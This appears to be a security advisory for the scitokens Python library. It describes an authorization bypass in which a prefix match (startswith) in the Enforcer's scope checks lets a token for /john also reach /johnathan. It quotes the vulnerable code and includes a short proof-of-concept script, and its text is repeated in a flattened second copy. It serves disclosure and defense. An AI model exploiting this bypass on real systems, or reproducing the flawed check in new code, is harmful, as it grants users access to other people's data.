Summary
The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.
Details
File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope
Vulnerable Code Snippets:
In _validate_scp (around line 696):
for scope in value:
authz, norm_path = self._check_scope(scope)
if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
return True
In _validate_scope (around line 722):
for scope in value.split(" "):
authz, norm_path = self._check_scope(scope)
if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
return True
If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.
PoC
import scitokens
import sys
def poc_scope_bypass():
"""
Demonstrate an Authorization Bypass vulnerability in scope path checking.
"""
print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
issuer = "https://scitokens.org/unittest"
enforcer = scitokens.Enforcer(issuer)
# Create a token with access to /john
token = scitokens.SciToken()
token['iss'] = issuer
token['scope'] = "read:/john"
print(f"Authorized path in scope: /john")
# 1. Test access to /john/file (should be allowed)
print(f"[1] Testing legitimate subpath: /john/file")
if enforcer.test(token, 'read', '/john/file'):
print(" -> Access GRANTED (Correct behavior)")
else:
print(" -> Access DENIED (Incorrect behavior - should have access to subpaths)")
# 2. Test access to /johnathan (SHOULD BE DENIED)
print(f"[2] Testing illegitimate sibling path: /johnathan")
if enforcer.test(token, 'read', '/johnathan'):
print(" -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
else:
print(" -> Access DENIED (Correct behavior - fix is working)")
# 3. Test access to /johnny (SHOULD BE DENIED)
print(f"[3] Testing illegitimate sibling path: /johnny")
if enforcer.test(token, 'read', '/johnny'):
print(" -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
else:
print(" -> Access DENIED (Correct behavior - fix is working)")
if __name__ == "__main__":
# Ensure scitokens from src/ is available
sys.path.insert(0, "src")
poc_scope_bypass()
Impact
This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.
References
Summary
The
Enforcerincorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g.,/john) to also access sibling paths that start with the same prefix (e.g.,/johnathan,/johnny), which is an Authorization Bypass.Details
File:
src/scitokens/scitokens.pyMethods:
_validate_scpand_validate_scopeVulnerable Code Snippets:
In
_validate_scp(around line 696):In
_validate_scope(around line 722):If
norm_path(authorized) is/johnandnorm_requested_path(requested) is/johnathan,startswithreturnsTrue, incorrectly granting access.PoC
Impact
This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user
johnmight be able to read or write to the directory of userjohnathansimply because their names share a prefix.References